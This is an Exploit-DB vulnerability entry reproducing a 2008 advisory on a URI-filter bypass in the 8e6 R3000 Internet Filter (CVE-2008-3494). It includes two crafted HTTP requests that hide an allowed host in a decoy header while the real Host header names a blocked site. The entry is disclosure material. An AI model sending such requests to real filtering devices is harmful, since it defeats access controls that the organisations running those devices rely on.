8E6 Technologies R3000 Host Header Internet Filter Security Bypass Vulnerability

2008-08-05T00:00:00
ID EDB-ID:32167
Type exploitdb
Reporter nnposter
Modified 2008-08-05T00:00:00

Description

8E6 Technologies R3000 Host Header Internet Filter Security Bypass Vulnerability. CVE-2008-3494. Remote exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/30541/info

8e6 Technologies R3000 Internet Filter is prone to a vulnerability that allows attackers to bypass URI filters.

Attackers can exploit this issue by sending specially crafted HTTP request packets for an arbitrary website. Successful exploits allow attackers to view sites that the device is meant to block. This could aid in further attacks.

R3000 Internet Filter 2.0.12.10 is vulnerable; other versions may also be affected.

The following example requests are available:

GET / HTTP/1.0
X-DecoyHost: www.allowed.org
Host: www.blocked.org

GET / HTTP/1.0
X-Decoy: Host: www.allowed.org
Host: www.blocked.org